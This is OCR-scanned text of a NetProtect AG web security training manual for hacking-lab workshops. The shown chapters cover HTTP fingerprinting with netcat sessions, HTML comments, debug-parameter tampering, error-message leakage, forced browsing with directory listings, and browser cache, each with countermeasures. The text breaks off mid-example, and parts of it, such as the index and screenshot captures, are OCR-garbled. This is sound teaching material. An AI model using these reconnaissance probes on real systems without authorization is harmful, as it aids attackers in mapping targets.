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Dieses Dokument und sein Inhalt sind Eigentum der NetProtect AG und diirfen ohne deren schriftliche
Einwilligung weder kopiert, vervielfaltigt, weitergegeben noch zur Ausfiihrung benutzt werden. Die
Informationen in diesem Dokument kdnnen sich ohne Vorankiindigung andern. Dieses Dokument enthalt
urheberrechtlich geschitzte Informationen. Die Firma NetProtect AG haftet nicht fir etwaige Fehler in diesem
Dokument. Eine Haftung fir mittelbare und unmittelbare Schaden, die im Zusammenhang mit der Lieferung
oder dem Gebrauch dieses Dokuments entstehen, ist ausgeschlossen, soweit dies gesetzlich zuldssig ist.

Ce document et son contenu sont la propriété de la société NetProtect AG et ne peuvent pas étre
communiqués, utilisés, adaptés oureproduits en partie ou en totalité sans I'autorisation écrite de la société
susmentionnée.

Questo documento ed il suo contenuto sono proprieta della ditta NetProtect AG e non possono essere
comunicati, utilizzati,adattati oriprodotti, parzialmente o integralmente, senza |'autorizzazione scritta della ditta

sopraccitata.

This document and its contents are property of NetProtect AG and without its prior written consent may not in
any manner be copied, reproduced or disclosed to third parties or used for execution.

Page 2




Security Check U 1. Introduction

Index
3 R 1 o 0 Yo U [ e 5
Lo L OV ERVIEW e et ttttttuteteeee st ssannnaeeeesssssanssseeesssssassannseesssssssnnsssesessssssssnnnnessssssssnsnssnneessrsnnns 5
B2 1 101 g 2 2 = 10 5 = 6
2.1 HTTP FINGERPRINTING 111 usssteeessssnnunnnnneeessssssnsnnnneeesssssssssnnseesssssesssssnneesssssssssssnneesssrrsssnnnnes 6
2.2 CLIENT=SIDE COMMENTS &1t tttteteeetnnnnnnsneeeeeseesnnnsnnmeesseemnnnssmemeemmmmmtsnmmeeeememmmnnemerrmrrnns 11
1 0 T [ o 1 0 I 11
DD i L it . . ... e e e e e ee e e e e e saessassaaseaasssssssssonasnsssnsssssanssassssssssaessessesssnanns 11
2.3 DEBUG COMMANDS 1ttt ttuttsaetesssssssnnsseesssssssnssssnneessssssssssseeeessssessssnnneeessesssssnsseeessrrrnssnnne 12
1 0 T [ o 1 o TN 12
[0 7Y 7= | 12
2.4 ERROR CODES 1 ttttttttitunssaeeessssasssneeesssssssnssseessssssssnsneeessssesssnnneeeessssssssssneeesssssssnnnnnnes 14
1 0 T [ o 4 o TN 14
[0 7Y 7= 1| S 14
2.5 FILE/APPLICATION ENUMERATION. 1.t 1 ttuuatessustessuaessauseessneesenssessansesseseesssnnesssnsessssseessnnnesenns 16
1 0 T [ o 4 o T 16
D7 - Y| 16
2.0 BROWSER CACHE 1t ttttttttitttetesssssnansssesessesssnsssnneessseesnnnsseeeeessrmesssnnneeessessssssssnneerrrrensnnns 18
o Yo [ o o o P 18
[0 7Y = | 18
2.7 BROWSER HISTORY ttttttttutttttesssssnsansseeessssssnssssneeessssssssnsseeeessssessssnneeeessesssssnsseeesssrrnssnnns 21
1 0 T [ o 1 o TN 21
[0 Y 7= 1| S 21
B (o =1 2] £ =1 22
Excercise 1: Becoming familiar with Spike proXy ..... ..o 22
EXercise 2 1 DireCtory ENUMEIatioN ... ..ottt ettt et e e e e eaaneeeaaneeann 22
Exercise 3 (D): Buggy Bank CaChing .....co.ceiuiiiii e e 23
3. Parameter ManipUlation ... e 24
3.1 COOKIE MANIPULATION &1 1 uuustaeeeesssnnnnnnsseeesssessnssssneeessssssssnssneeesssssssssnnneesssessssnsssnneesrrmnssnnns 24
1 o T [ o 4 o o T 24
[0 = | 24
3.2 FORM FIELD MANIPULATION 4t tttttttnnnnnnsseesssssssnsssnneesssssssssnsseeeessssessssnneeesssessssssssenessrrmnssnnne 28
[ 0 T [ o 1 o TN 28
[0 7Y = | 28
3.3 HTTP HEADER MANIPULATION 111ttt ttuuunnsseeessssssnnsnneessssssssnnsseeessssssssssnneessssssssssssseessssrsnsnnnns 32
1 0 T [ o 4 o o TN 32
[0 7Y 7= 1| S 32
3.4 URL MANIPULATION 41t uuuuuusssesessssnnnnnsseeesssesssssssnmeesssessssssmnmmmsmmmmssnnmmeesmmmmsssssrnmmmrmimsrnnns 34
1 o T [ o 4 o o T 34
D7 - Y| 34
T =5 =1 T8 ] =5 36
Excercise 1 1 Parameter INJeCtioN ... oottt et 36
Exercise 2 : Hidden Field TampPering ..ot aaaeee e 36
N oY o 1WA £ 1 o F= 1 u o] o 37
4,1 CROSS SITE SCRIPTING .t uuuuuussteeesssrsnnnnsnneeeesssnnnnnsmeesssesessssmnmmeersmmmsnsnmeeememmmmssmmeererrnnne 37
LAY O ] I 1V =l oy i (0] N TR P 51
[ 0 T [ o 1 o TN 51
[0 Y = 1| S 51
4,3 OS COMMAND INJECTION uuuuuutteesssssnnnnnnneeeessennnnssseeeesesssssssnmmeesmmesssnssmeeeremminssemmmemrnrrnnns 55
1 0 T [ o 4 o o TN 55
D7 - Y| 55
4.4 PATH TRAVERSAL .ttt tttttsnnssnnsnsnsessesssssesseesenenennnssnnsssssssssessssssssseeeeeeemnmmnnssnnsssssssssssssess 57
1 o T [ o 4 o o T 57
[0 = | 57
4,5 META CHARACTERS 14ttt et ttuuansseeesssssasssneeeesssessssnseeesssssessssanneeesssesssnsseeesssersssssennrerrrressnnne 59
o Yo [ o o o P 59
[0 Y = | 59
L TN N L ' = 60
1 0 T [ o 4 o o TN 60
[0 Y = 1| S 60
R = Y £ =1 65
EXercise 1 : Weak ACCESS CONTIO| ...t ettt eeeeeaeeeeeeeeeeeeeeaees 65




Security Check U 1. Introduction

EXErcise 2 1 SQL INJECTION . ...nnt ittt ettt ettt ettt et e e e ane e eas 65
EXercise 3 ICroSS Site SCIIPTING ...ttt ettt et ettt e ettt e e aneeens 65
Exercise 4 :Cross Site Scripting auf Buggy Bank ........coeoiiiiiii e 66
Exercise 5 : Command Injection auf Buggy Bank ........ ..o 67
Exercise 6 : Logischer Fehler auf Buggy BankK........c.coiiiiiiiiiiiiiii i eeeiaee e 67
Lo @ a [ oY = = o [ o SO 68
5.1 UNICODE ENCODING .11 utttuustesneessnssessannessssseessannessassessannesssnsnesssnnesssnnessssneessnnnesessnesennnes 68
1 0 T [ o o N 68
DXL IO 5T . . v i . o 68
5.2 URL ENCODING t1utuuuuuussseeesesssnnnnnsneeesesmsnssssnmmeessesnssssmeemmmmmmmsssmmmmmmmmmmmssseemmmirtnnne 70
1 0 T [ o 1 o o T 70
[0 = | 70
Abuse of ENCOdiNG SCREMIES ... ... et eaaas 72
L0 [ ToT0 T LR A i = (o] 74
LT U =1 g o o o [ 1o Vo 1 75
oI BN T =1 2L £ =1 78
Exercise 1 : Weak Access Control USING UNICOAE ......coiniiiiiii i eeeaaee e 78
Exercise 2 : SQL Injection USING UNICOE ...ttt e eaaeeans 78
6. Authentication & Session ManagemENt .. ..civiiiiiii i as 79
(@ RN =T Y= 79
Understanding the SITUATION ...t ettt e e e e eene e neeneas 79
(=YL =T g T Lo TS = U< S 79

B I TSRS TT) Lo o T 15 2 81
(@] o 01 o o o o T =1 11 o o 1= S 82
[€Te Yo Lo ISY=Tt] (o] o JN1Y, =V F=To [T o' = | (0 84
(0 o {2 11 ) [0 o 13N 86
ST T U 1 = o2 Lo = S 87
[ 0 T [ o 1 o TN 87

[0 Y = 1| S 87

6.2 INFRASTRUCTURE AUTHENTICATION . ttuuuustssnsnessnnnsssannnessnnnessnnnesssnnessssnnessssnesssnnssssnseessnnnesnnns 87
1 0 T [ o 4 o o TN 87
D7 - Y| 87
6.3 SESSION HITACKING t.uuuutettuaesseustessneessanteesaaeesaseessaaeesaaseessaanessesssessannessssseesesnnesssnneeenns 89
1 o T [ o 4 o o T 89

[0 7Y = | 89
6.4 SESSION REPLAY 1 uuttiitttttineesettestaneeesanteesaanessaseessannessanseesaanessssnnessannesssnneesennnesssnnessnns 90
o Yo [ o o o P 90

[0 Y = | 90
LTS T 0 d = 2T £ = N 92
Exercise 1 : Spoof an Authentication COOKIE..........iiiiiii s 92
Exercise 2 : Bypass a Fail Open Authentication Scheme ....... ... 92
Exercise 3 : Predictable Session IDs auf Buggy Bank .........cooeiiiiiiiiii e 92
Exercise 4 : Session Hijacking auf Buggy Bank ... 93
Exercise 5 : Passwort Bruteforce auf Buggy BankK.........ccoiiiiiiiiiiiiiiiii i eiaaees 94
7 (o] oV To [ T =1 o o F= PP 95
2 R = YU {0 11 = 95
1 0 T [ o 4 o o TN 95
D7 - Y| 95
7. 12 VENDOR PATCHES tututiiuttteteessssnnnnnssseesssessnssssnneeessssnsnsssmeeeessmesssssneeessessssssssnneeerrmnssnnns 96
1 0 T [ o 4 o o I 96
[0 = | 96

S T O A B ] ] 3 97
2 O Y I8 =T = 97
8.2 CHALLENGE 2 & ttttiittestinttesauseessaneesassessannessasseessaneeseassessanneesessnessannessansesssnneessnsnessnnnesnn 97

Page 4




Security Check U 1. Introduction

1. Introduction

1.1 Overview

This guide is a part (1 out of 5 manuals) of our training guides used for technical breakfasts or security
workshops. All exercises relate to NetProtect AG s internal teaching enviroment accessible via our “Hacking
Lab” Website:

A 11111 HACKING LAB :::::: - Microsoft Internet Explorer - ol %]

Datei Bearbeitenn Ansicht Favoriten EBxiras 7

ﬁ

wZurtck v 2 - @ [2 @ | Qsuchen EFavoriten Pvedien | B S E - 22

Adresse |@ bt /Ao netprotect.ch/dernolab/indes htm| j PWechseln zu

HOME COURSE MATERIAL DEMOS ER RESEARCH

WELCOME TO THE HAC

HELF: HAVIGATION DETAILS! = WL NETFROTECT.CH/HACKINGLAE !
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2. Informational

2.1 HTTP Fingerprinting

HTTP Fingerprinting is a relatively new topic of discussion in the context of application security. One of the
biggest challenges of maintaining a high level of network security is to have a complete and accurate inventory
of networked assets. Web servers and web applications have now become a part of the scope of a network
security assessment exercise. In this paper, we present techniques to identify various types of HTTP servers.
We shall discuss some of the problems faced in inventorying HTTP servers and how we can overcome them.

Theory of Fingerprinting
A fingerprint is defined as:

1. The impression of a fingertip on any surface; also: an ink impression of the lines upon the fingertip
taken for the purpose of identification.

2. something that identifies: as (a) a trait, trace, or characteristic revealing origin or responsibility (b)
analytical evidence that characterizes an object or substance.

The process of fingerprinting can be broken up into two sub processes, namely gathering and classification of
fingerprints, and comparision of unknown fingerprints with the stored database of known fingerprints.

While gathering fingerprints, it is essential to capture all the key characteristics of the object revealed in the
fingerprint. Capturing more details and traits helps in the comparision process. While comparing fingerprints,
there may be chances that a fingerprint can be improperly matched, because of subtle differences that can be
easily mistaken.

Fingerprinting is a known technique in network security. Operating system fingerprinting is a common task in
any network assessment or inventorying exercise. There are many techniques to perform operating system
fingerprinting. What makes operating system fingerprinting successful and accurate is the fact that each
operating system implements the TCP/IP stack slightly differently. The way a system responds to malformed
packets, either the presence of an error response, or absence thereof, is one example of an implementation
difference. A detailed discussion on operating system fingerprinting, or TCP/IP stack fingerprinting, is presented
in Fyodor's paper, titled "Remote OS detection via TCP/IP Stack Fingerprinting"

The theory behind HTTP fingerprinting is more or less on the same lines - identifying HTTP servers by their
implementation differences in the HTTP protocol. HTTP fingerprinting gets slightly more complicated than
TCP/IP stack fingerprinting. The reason being that it is easily possible to customize the responses of an HTTP
server by just changing its configuration file, or adding plug-ins or modules, whereas customising the behaviour
of the TCP/IP stack requires access to the network code at the kernel layer. Despite this difficulty, it is possible
to devise tests to overcome the various customizable features of a web server.

Protocol behaviour

Almost all HTTP servers differ in the way they implement the HTTP protocol. In the case where the HTTP
request is well formed and legitimate, the response returned by all HTTP servers is more or less compliant with
the specifications laid out in the RFCs for HTTP However, when confronted with malformed HTTP requests,
these servers differ in their responses. Differences in the way the HTTP protocol is handled by various HTTP
servers forms the basis of the HTTP fingerprinting technique.

Let us illustrate these differences with examples. We shall analyse the response to four HTTP requests, coming
from an Apache 1.3.23 server, a Microsoft IIS 5.0 server and a Netscape Enterprise 4.1. The requests are:

HTTP Test What to expect

HEAD / HTTP/1.0 |Normal HTTP header response

DELETE / HTTP/1.0 | Response when operations such as DELETE aren't generally allowed
GET / HTTP/3.0 Response to a request with an improper HTTP protocol number

GET / JUNK/1.0 Response to a request with an improper protocol specification
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In each of these responses, we shall identify key differences between the responses of Apache 1.3.23, IIS 5.0
and Netscape Enterprise 4.1. We shall not take into consideration differences in customizable parameters such
as the server banner string.

HTTP header field ordering

Taking the first request HEAD / HTTP/1.0, we shall analyse the HTTP response header and inspect the order
of appearance of the various fields returned within it.

Response from Apache 1.3.23

$ nc apache.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Sun, 15 Jun 2003 17:10:49 GMT

Server: Apache/1.3.23

Last-Modified: Thu, 27 Feb 2003 03:48:19 GMT
ETag: "32417-c4-3e5d8a83"

Accept-Ranges: bytes

Content-Length: 196

Connection: close

Content-Type: text/html

Response from IIS 5.0

$ nc iis.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Server: Microsoft-1IS/5.0

Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:13:52 GMT

Content-Type: text/html

Accept-Ranges: bytes

Last-Modified: Fri, 01 Jan 1999 20:13:52 GMT

ETag: W/"e0d362a4c335bel:ael"

Content-Length: 133

Response from Netscape Enterprise 4.1

$ nc netscape.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Server: Netscape-Enterprise/4.1

Date: Mon, 16 Jun 2003 06:01:40 GMT
Content-type: text/html

Last-modified: Wed, 31 Jul 2002 15:37:56 GMT
Content-length: 57

Accept-ranges: bytes

Connection: close

If we observe the ordering of the response header fields Server and Date, we notice that Apache orders the
fields differently than IIS and Netscape.
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HTTP DELETE (forbidden operation) response

Next, we shall take the request DELETE / HTTP/1.0 and observe what the response of each of the servers is,
when the requested operation is generally forbidden.

Response from Apache 1.3.23

$ nc apache.example.com 80
DELETE / HTTP/1.0

HTTP/1.1 405 Method Not Allowed

Date: Sun, 15 Jun 2003 17:11:37 GMT

Server: Apache/1.3.23

Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH,
MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE

Connection: close

Content-Type: text/html; charset=iso-8859-1

Response from IIS 5.0

$ nc iis.example.com 80
DELETE / HTTP/1.0

HTTP/1.1 403 Forbidden

Server: Microsoft-1IS/5.0

Date: Fri, 01 Jan 1999 20:13:57 GMT
Content-Type: text/html
Content-Length: 3184

Response from Netscape Enterprise 4.1

$ nc netscape.example.com 80
DELETE / HTTP/1.0

HTTP/1.1 401 Unauthorized

Server: Netscape-Enterprise/4.1

Date: Mon, 16 Jun 2003 06:03:18 GMT
WWW-authenticate: Basic realm="WebServer Server"
Content-length: 223

Content-type: text/html

Connection: close

Apache responds with a 405 "Method not allowed" response, IIS responds with a 403 "Operation on resource
forbidden" response, and Netscape responds with a 401 "Authorization credentials required" response. Each of
the servers differs in their response to the DELETE request.
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Improper HTTP version response

The next test consists of sending an HTTP request with an improper HTTP version number, such as GET /
HTTP/3.0, to the server. HTTP 3.0 is not even in existence as of this writing, and none of the candidate
servers implement it.

Response from Apache 1.3.23

$ nc apache.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad Request

Date: Sun, 15 Jun 2003 17:12:37 GMT
Server: Apache/1.3.23

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

Response from IIS 5.0

$ nc iis.example.com 80
GET / HTTP/3.0

HTTP/1.1 200 OK

Server: Microsoft-1IS/5.0

Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:14:02 GMT

Content-Type: text/html

Accept-Ranges: bytes

Last-Modified: Fri, 01 Jan 1999 20:14:02 GMT

ETag: W/"e0d362a4c335bel:ael"

Content-Length: 133

Response from Netscape Enterprise 4.1

$ nc netscape.example.com 80

GET / HTTP/3.0

HTTP/1.1 505 HTTP Version Not Supported
Server: Netscape-Enterprise/4.1

Date: Mon, 16 Jun 2003 06:04:04 GMT
Content-length: 140

Content-type: text/html

Connection: close

Apache responds with a 400 "Bad HTTP request" response, IIS ignores the improper HTTP protocol number,
and responds with a 200 "OK" along with the contents of the HTML data for the root document, and Netscape
responds with a 505 "HTTP version not supported" response.
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Improper protocol response

The next test involves observing the response to the request GET / JUNK/1.0.

Response from Apache 1.3.23

$ nc apache.example.com 80
GET / JUNK/1.0

HTTP/1.1 200 OK

Date: Sun, 15 Jun 2003 17:17:47 GMT

Server: Apache/1.3.23

Last-Modified: Thu, 27 Feb 2003 03:48:19 GMT
ETag: "32417-c4-3e5d8a83"

Accept-Ranges: bytes

Content-Length: 196

Connection: close

Content-Type: text/html

Response from IIS 5.0

$ nc iis.example.com 80
GET / JUNK/1.0

HTTP/1.1 400 Bad Request

Server: Microsoft-1IS/5.0

Date: Fri, 01 Jan 1999 20:14:34 GMT
Content-Type: text/html
Content-Length: 87

Response from Netscape Enterprise 4.1

$ nc netscape.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>

Your browser sent a query this server could not understand.
</BODY></HTML>

In this case, Apache ignores the improper protocol "JUNK", and responds with a 200 "OK" along with the
contents of the root document, IIS responds with a 400 "Bad Request" response and Netscape does not even
return an HTTP response header, but instead just returns an HTML formatted error message stating that this
request is a bad request.
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2.2 Client-Side Comments

Introduction

Comments placed in most source code aid readability and improve documented process. The practice of
commenting has been carried over into the development of HTML pages which are sent as is to the clients
browser. As a result information about the structure of the web site or information intended only for the system
owners or developers can be revealed.

Detail

=  Comments left in HTML can come in many formats - some as simple as directory structures, others
inform the potential attacker about the true location of the web root. Comments are sometimes left in
from the HTML development stage and can contain debug information, cookie structures, problems
associated with development and even developer names, emails and phone numbers.

=  Structured Comments - these appear in HTML source, usually at the top of the page - or between
the JavaScript (or other client active section) and the remaining HTML, when a large development
team has been working on the site for some time - normally they follow a precise pattern and can
completely reveal the structure of the web site.

=  Automated Comments - many widely used page generation utilities and web usage software
automatically adds signature comments into the HTML page. These will inform the attacker about the
precise software packages (sometimes even down to the actual release) that is being used on the site.
Known vulnerabilities in those packages can then be tried out against the site.

. Unstructured Comments - these are one off comments made by programmers almost as an aid
memoirs during development. These can be particularly dangerous as they are not controlled in any
way. The following hidden field must be set to 1 or XYZ.asp breaks o Don't change the order of these
table fields are a red flag to a potential attacker.

EXAMPLE: http://hackmelinux.netprotect.ch/challenge/games/2/preprod.ph

<META NAME="keywords" CONTENT="hacking, wargames, challenge, security, hacker">
<META NAME="description" CONTENT="Welcome to the Wargames Server">

<META NAME="Copyright" CONTENT="2002, Netprotect AG">

<META NAME="ROBOTS" CONTENT="noindex">

</head>

<body>

<!-- Pre-Production: auth function located in data/ -->

<FORM ACTION="validate_level2.php" METHOD="POST">

<table border=0 cellpadding=0 align=center cellspacing=1 width=500>
<tr>

Countermeasure

For most comments a simple filter that strips comments before pages are pushed to the production server is all
that is required. For Automated Comments an active filter may be required. It is good practice to tie the
filtering process to sound deployment methodologies so that only known good pages are ever released to
production.

Page 11



http://hackmelinux.netprotect.ch/challenge/games/2/preprod.php

Security Check U 2. Informational

2.3 Debug Commands

Introduction

During the development of any software it is standard practice to introduce a debugging structure to allow
programming faults to be found. Debugging can take several forms; break points; memory dumps; reading
registers; flow switches etc. The purpose is to allow the programmer to see how the program is functioning and
to deduce (and hopefully fix) any point of failure. When developing compiled code debug statements can be
compiled out of the resulting source — however this is not the case for most web development (especially
HTML) and care must be taken to remove debug structures before deployment to production. An attacker will
try various obvious debug constructs to see if the production sanitation process has been 100% successful. Any
lapse can result in a devastating vulnerability due to the power that most debug constructs utilize.

Detail
Debug commands actually come in two distinct forms
L] Explicit Commands - this is where a name value pair has been left in the code or can be introduced
as part of the URL to induce the server to enter debug mode. Such commands as debug=on or

Debug=YES can be placed on the URL like:

www.somewebsite.com/account check?ID=8327dsddi8qgjggllkjdlas&Disp=no

Can be altered to:

www.somewebsite.com/account check?debug=on&ID=8327dsddi8qjggllkjdlas&Disp=no

The attacker observes the resultant server behavior. The debug construct can also be placed inside
HTML code or JavaScript when a form is returned to the server, simply by adding another line element
to the form construction, the result is the same as the command line attack above.

L] Implicit Commands - this is where seemingly innocuous elements on a page if altered have dramatic
effects on the server. The original intent of these elements was to help the programmer modify the
system into various states to allow a faster testing cycle time. These element are normally given
obscure names such as fubarl&mycheck&yes; etc. These elements may appear in the source as:

<!-- begins -->

<TABLE BORDER=0 ALIGN=CENTER CELLPADDING=1 CELLSPACING=0>

<FORM METHOD=POST ACTION="http://some_poll.com/poll?1688591" TARGET="sometarget"
FUBAR1="">

<INPUT TYPE=HIDDEN NAME="Poll" VALUE="1122">

<!I-- Question 1 -->

<TR>

<TD align=left colspan=2>

<INPUT TYPE=HIDDEN NAME="Question" VALUE="1">

<SPAN class="Story">

Or show as:

<TABLE BORDER=0 ALIGN=CENTER CELLPADDING=1 CELLSPACING=0>

<FORM METHOD=POST ACTION="http://some_poll.com/poll?1688591" TARGET="sometarget" >
<!—fubarl="0"

<INPUT TYPE=HIDDEN NAME="Poll" VALUE="1122">

The additional element does not seem to have any relevance to the code around it or may be
commented out. Sometimes a comment such as uncomment and set to 1 for debug mode will be left in
just to make the attackers job easier.

Finding debug elements is not easy, but once one is located it is usually tried across the entire web site by the
potential hacker.

Debug commands may also remain in 3rd party code designed to operate the web site, such as web servers,
database programs, CGI's etc — although this is rare.
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Countermeasure

Formalize the debug process during development so that specific tools or debug constructs and practices are
used - these are much easier to remove later. Enforce that any debug elements used during development meet
a specific standard such as only DEBUG_MODE_P2=CORRECT would be recognized on the URL. Discourage on
the fly debugging.

Have a rigid and formalized deployment framework for the production web site that prevents debug code being
used. Specifically, make sure that server code does not respond to debug requests.

Test the site for debug commands
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2.4 Error Codes

Introduction

Error Codes can be used to extract additional information from web applications, operating systems, databases,
script engines, webservers, scripting/programming languages and other implemented software. This attack may
be achieved by enumerating error messages and error codes displayed by the effected system.

Detail

Web applications are normally designed to produce suitable output for web browsers.

Systems and underlying software errors are normally intercepted by the application, scripting engine,
servlet/JSP-Runner or the webserver itself and transformed into intelligible messages for the user.

Such errors can be purposely generated with the help of unchecked input parameters including form
parameters, cookies, HTTP request headers and malicious data in uploaded files (see OWASP-IV-*).

The worst problem regarding error messages is bad programming.

If the web application does not proceed to catch exceptions, error messages and error codes they are sent to
the webservers HTTP Response or other public output.

Besides bad programming techniques there are a few reasons which allow error messages to become displayed
to a malicious User.

Scripting Engine mis-configured
Servlet/JSP Runner mis-configured
Webserver mis-configured
Database mis-configured

Error messages can help a malicious attacker gain additional information about:

Flow of application

Additional webserver information
Database Type and Version
Operating System Type and Version
Scripting/Programming Language Type and Version
Physical paths

Files opened for reading

Files opened for writing

Names and values of variables
Types of variables

Purpose of variables

Segments of script source code
Segments of SQL Queries

Database and table structures

Such Information can be utilized to "remote disassembly" the affected system.

Reading and understanding of error messages and/or error codes is the first step for successfully exploiting web
application vulnerabilities!

Page 14




Security Check U 2. Informational

Example

; Compilation Ermror - Microsoft Internet Explorer

_ ol x|
Datei  Bearbeten  Ansicht  Favornten  Extraz 7 ﬁ

S Zuiick + = - ) il | ‘DhSuchen G Favoriten | Lt Medien 4 | S - 2

Adresze ﬂj hittp: A Av, hackmebank, comigcmeH ackme/bank myfile, asps j f{)Wechseln 2u | Links

-

Server Error in '/AcmeHackme'
Application.

Compilation Error

Description: &n errar occurred during the compilation of & resource reqguired to service this request.
Pleaze revievy the followving specific error details and modify your source code appropristely .

Compiler Error Message: BC30037: Character iz not walid.

Source Error:

Line 1: <% =Serwver.MapPath{*¥22%220%2, .

Source File: CtmpiDemoSteiStebankimyfie aspx Line: 1

Show Detailed Compiler Qutput:

COWINNT sy stemd2: Vo nntymi crosoft. nety framewark™wl. 0. 3705 who. exe" At

Microsoft (R) Visual Basic .HET Compiler wersion 7.00.9466
for Microsoft (E) .NET Framework wersion 1.00.3705
Capyright (C) Microsoft Corporation 1987-2001. A1l rights reserwed.

CovtmpsDemositenSitenbankimyfile, aspx (1) @ error BC3003F: Character is notls
1| I *

/& Fetig I_ I_ I_ o Irtemet v

Countermeasure

Do not output error messages and exceptions in a production environment.
Properly configure software with log files for errors and other messages.

Page 15




Security Check U 2. Informational

2.5 File/Application Enumeration

Introduction

File / Application Enumeration (often called forced browsing) is a common technique that is used to look for
files or applications that may be exploitable or be useful in constructing an attack. These include known
vulnerable files or applications, hidden or un-referenced files and applications and back-up / temp files.

Detail

File /Application uses the HTTP server response codes to determine if a file or application exists. A web server
will typically return an HTTP 200 response code if the file exists and an HTTP 404 response code if the file does
not exist. This enables an attacker to feed in lists of known vulnerable files and suspected applications or use
some basic logic to map the file and application structure visable from the presentation layer.

. Known Vulnerable Files - Obviously many known vulnerable files exist, and in fact looking for them
is one of the most common techniques that commercial and free-ware vulnerability scanners use.
Many people will focus their search on cgi's for example or server specific issues such as IIS problems.

. Hidden /7 Un-Referenced Files - Many web site administrators leave files on the web server such as
sample files or default installation files. When the web content is published , these files remain
accessible although are un-referenced by any HTML in the web. Many examples are notoriously
insecure, demonstrating things like uploading files from a web interface for instance. If an attacker can
guess the URL, then he is typically able to access the resource.

¢ Back-Up Files / Temp Files - Many applications used to build HTML and things like ASP pages leave
temp files and back-up files in directories. These often get up-loaded either manually in directory
copies or automagically by site management modules of HTML authoring tools like Microsoft's
Frontpage or Adobe Go-Live. There are various dangers with leaving residue like this on a web server,
but generally the risk is greater with languages that embed things like passwords into server side
pages. A good example to understand the dangers is to examine how Microsoft Frontpage builds Active
Server Pages or ASP pages. Remember ASP pages code are not normally visable to a client, so by
design developers usually embed things like database usernames and passwords in the ASP source.
FrontPage writes ASP files to an ASA temp file during design (global.asp becomes global.asa) and in
many instances the file will not be deleted before publishing. ASA files source is fully visible by a client
and so a malicious user who browsed say checkout.asa may well strike gold and get the username and
password to the Oracle database. Back-up files are also dangerous as many developers embed things
into development HTML that they later remove for production. Emacs for instance writes a *.bak in
many instances

Example: http://81.6.5.231/AcmeHackme/bank/default.aspx changed to
http://81.6.5.231/AcmeHackme/bank/ shows:

3 81.6.5.231 - fAcmeHackme/ban -1O0] =l
Datei Bearbeiten  Ansicht  Favorten  Extraz 7 ﬁ

G Zuiick + =+ () ot | ‘@) Suchen [ Favorten 507 Medien @l By & 2

Adresse |&] hitp.//61.6.5.231 cmeHackme/bank/ =] @ weshseinzu | Links

81.6.5.231 - /AcmeHackme/bank/

-

[To Parent Directory]

371972002 7:33 PH 158458 account.aspx

341772002 4:58 PM 1682 apply.&aspx —
3/17/2002 4:58 PN 610 comment.aspx

3/20/2002 3:04 PN 25 CcOmmeEnts.tHt

3S17/2002  4:58 PM 867 confirmoard.aspx

31872002 11:45 AN 3332 contact.aspx

3S17/2002 4:54 PN 462 contenht.aspx

3/19/z2002 7:37 PH 4515 default.aspx

3/20/2002 §:00 PN 7064 error page.html

37572002 1:08 PM 1561 filler.htm

B

€l LD 4 Intemet
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Example: Looking for directories happen to reveal:

<3 81.6.5.231 - AcmeHackmelsrc/ - Micros O] x|
Datei  Bearbeitenn  Angicht  Faworten Egtraz 7 ﬁ

= Zuiick « =+ () A | QSuchen (4] Favoiiten (i Medien <4 | or b ”

Adresse [&) hitp://81.6.5.231 sAcmeHackme/sic/ j o Wechseln zu | Links

81.6.5.231 - /AcmeHackme/sre/

-

[To Parent Directory]

3IF20/2002 3:00 PM G645 account.aspx.cs
3IF20/2002 2:59 PM 2047 admin.saspx.cs
IF5/2002 3:31 PM 1225 apply.aspx.cs —
3/14/2002 ©S:42 FPM 1531 ComboBox.ascx.os
3IS17/2002 11:37 AM 1693 comment.a3px.cs
3IS17/2002 11:38 AM 1162 confirmcard.aspx.cs
3IS17/2002 11:35 LM 1113 contact.aspx.cs
371972002 9:31 PM 2445 content.aspx.cs
3IF20/2002 2:483 PM 1304 default.aspx.cs
271172002 3:52 PM 1251 global.asax.cs

a1

& ] g Intemet

Countermeasure

Remove all sample files from your web server. Ensure that any unwanted or unused files are removed.

Use a staging screening process to look for back-up files. A simple recursive file grep of all extensions that are
not explicitly allowed is very effective.

Some web server / application servers that build dynamic pages will not return a 404 message to the browser,
but instead return a page such as the site map. This confuses basic scanners into thinking that all files exist.
Many good lists of files exist. We have some links and guidance on a seperate page here.

Never build the HTML on the same box that will ultimately serve it up.
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2.6 Browser Cache

Introduction

Most HTTP user agents (web browsers) store copies of the web pages recently visited. If an application renders
personal private data in HTML, an attacker with access to the browser cache can retrieve pages intended for
another user. These can contain sensitive privacy data like addresses, SSNs and DOB, often used in
authentication procedures. This is a significant problem for Internet Kiosks and shared PCs. Privacy laws around
the world have a significant impact on this.

Detail

HTTP has a header called Last-Modified. It is used to determine if a page requested has been modified since the
last request for the same resource, thus enabling the browser to serve a locally cached copy for speed; or
obtain a fresh page.

The side-effect of this is that pages are stored on the local machine in the browser cache. If these pages
contain private data such as addresses, date of birth, mother maiden name, passwords or telephone numbers
they maybe accessible to other users at a later stage. Often this type of information is used to re-set passwords
on accounts. The browser cache maybe accessible to others users of the same PC like Internet kiosks or in
corporate environments where the domain administrator on an NT network can read the local PC's drive.

What is vulnerable about history, bookmark, and cache files?

The default color for a clickable link is blue. Once you've clicked on it and visited the link, it's purple. While the
colors may be different depending on what is specified in the HTML, the way your browser keeps track of this
information is via the history file. Since the default is 30 days to expire a link, typically you can see the last 30
days worth of web surfing by examining the history file. "Hmm, Fred keeps looking at a particular set of stocks,
does he know something I don't? Hey, Martha keeps looking at lesbian sites, what would her homophobic boss
say about that?" Get the idea? Here's an example:

b1http://altavista.digital.com/cgi-bin/query?pg=q&what=web&fmt=.&q=

% 2B+ % 2Bmicrosoft+%2Bstock+%2Bprice+%2B+takeover+%2Brumor+%2Bapple ,
Op1http://altavista.digital.com/cgi-bin/query?pg=q&what=web&stq=10&
fmt=.&q=%_2bapple+%?2bmacintosh+%?2bhack {[Ob1http://altavista.digital.
